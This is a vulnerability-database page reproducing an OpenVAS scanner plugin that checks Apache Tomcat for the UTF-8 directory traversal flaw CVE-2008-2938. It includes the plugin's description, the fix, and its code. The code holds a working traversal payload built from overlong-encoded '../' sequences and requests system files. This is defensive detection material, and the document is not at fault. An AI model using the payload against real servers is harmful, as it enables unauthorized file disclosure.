Apache Tomcat 'UTF-8' Directory Traversal Vulnerability - Active Check
🗓️ 22 Oct 2018 00:00:00Reported by Copyright (C) 2018 Greenbone AGType
openvas🔗 plugins.openvas.org👁 115 Views
| Reporter | Title | Published | Views | Family All 116 |
|---|---|---|---|---|
| Apache Tomcat <= 6.0.18 UTF8 Directory Traversal Vulnerability | 11 Aug 200800:00 | – | zdt | |
| ToutVirtual VirtualIQ Pro 3.2 Multiple Vulnerabilities | 7 Nov 200900:00 | – | zdt | |
| Apache Tomcat 4.1.x < 4.1.38 / 5.5.x < 5.5.27 / 6.0.x < 6.0.18 Linking UTF-8 Traversal Arbitrary File Access | 12 Aug 200800:00 | – | nessus | |
| CentOS 5 : tomcat5 (CESA-2008:0648) | 6 Jan 201000:00 | – | nessus | |
| Fedora 9 : tomcat6-6.0.18-1.1.fc9 (2008-7977) | 12 Sep 200800:00 | – | nessus | |
| Fedora 9 : tomcat5-5.5.27-0jpp.2.fc9 (2008-8113) | 17 Sep 200800:00 | – | nessus | |
| Fedora 8 : tomcat5-5.5.27-0jpp.2.fc8 (2008-8130) | 17 Sep 200800:00 | – | nessus | |
| Mac OS X Multiple Vulnerabilities (Security Update 2008-007) | 10 Oct 200800:00 | – | nessus | |
| Mandriva Linux Security Advisory : tomcat5 (MDVSA-2008:188) | 23 Apr 200900:00 | – | nessus | |
| MiracleLinux 3 : tomcat5-5.5.23-0jpp.7.1.1AXS3 (AXSA:2008-90:02) | 14 Jan 202600:00 | – | nessus |
10
| Source | Link |
|---|---|
| securityfocus | www.securityfocus.com/archive/1/499926 |
| securityfocus | www.securityfocus.com/bid/30633 |
| exploit-db | www.exploit-db.com/exploits/6229/ |
# SPDX-FileCopyrightText: 2018 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:apache:tomcat";
if(description)
{
script_oid("1.3.6.1.4.1.25623.1.0.108476");
script_version("2025-04-15T05:54:49+0000");
script_cve_id("CVE-2008-2938");
script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
script_tag(name:"creation_date", value:"2018-10-22 15:32:08 +0200 (Mon, 22 Oct 2018)");
script_tag(name:"cvss_base", value:"4.3");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:N/A:N");
script_name("Apache Tomcat 'UTF-8' Directory Traversal Vulnerability - Active Check");
script_category(ACT_ATTACK);
script_family("Web Servers");
script_copyright("Copyright (C) 2018 Greenbone AG");
script_dependencies("gb_apache_tomcat_consolidation.nasl", "os_detection.nasl");
script_require_ports("Services/www", 8080);
script_mandatory_keys("apache/tomcat/http/detected");
script_xref(name:"URL", value:"http://www.securityfocus.com/bid/30633");
script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/6229/");
script_xref(name:"URL", value:"https://www.securityfocus.com/archive/1/499926");
script_tag(name:"summary", value:"Apache Tomcat is prone to a directory traversal vulnerability
because it fails to sufficiently sanitize user-supplied input.");
script_tag(name:"impact", value:"A remote attacker could exploit this vulnerability using
directory-traversal strings (such as '../') to gain access to arbitrary files on the targeted
system. This may result in the disclosure of sensitive information or lead to a complete
compromise of the affected computer.");
script_tag(name:"affected", value:"Apache Tomcat versions before 4.1.39, 5.x before 5.5.27 and 6.x
before 6.0.18 are vulnerable.");
script_tag(name:"insight", value:"Originally reported as a Tomcat vulnerability the root cause of
this issue is that the JVM does not correctly decode UTF-8 encoded URLs to UTF-8. This exposes a
directory traversal vulnerability when the connector uses URIEncoding='UTF-8'. This directory
traversal is limited to the docBase of the web application.
If a context is configured with allowLinking='true' then the directory traversal vulnerability is
extended to the entire file system of the host server.
It should also be noted that setting useBodyEncodingForURI='true' has the same effect as setting
URIEncoding='UTF-8' when processing requests with bodies encoded with UTF-8.
Although the root cause was quickly identified as a JVM issue and that it affected multiple JVMs
from multiple vendors, it was decided to report this as a Tomcat vulnerability until such time as
the JVM vendors provided updates to resolve this issue. For further information on the status of
this issue for your JVM, contact your JVM vendor.");
script_tag(name:"solution", value:"Update Apache Tomcat to version 4.1.39, 5.5.27 or 6.0.18 or
later which includes a workaround that protects against this and any similar character encoding
issues that may still exist in the JVM.");
script_tag(name:"solution_type", value:"VendorFix");
script_tag(name:"qod_type", value:"remote_vul");
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");
include("os_func.inc");
include("misc_func.inc");
include("traversal_func.inc");
if( ! port = get_app_port( cpe:CPE, service:"www" ) )
exit( 0 );
if( ! dir = get_app_location( cpe:CPE, port:port ) )
exit( 0 );
if( dir == "/" )
dir = "";
files = traversal_files();
foreach pattern( keys( files ) ) {
file = files[pattern];
url = string( dir, "//%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/", file );
if( http_vuln_check( port:port, url:url, pattern:pattern ) ) {
report = http_report_vuln_url( url:url, port:port );
security_message( port:port, data:report );
exit( 0 );
}
}
exit( 99 );
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
15 Apr 2025 00:00Current
7.5High risk
Vulners AI Score7.5
CVSS 24.3
EPSS0.99708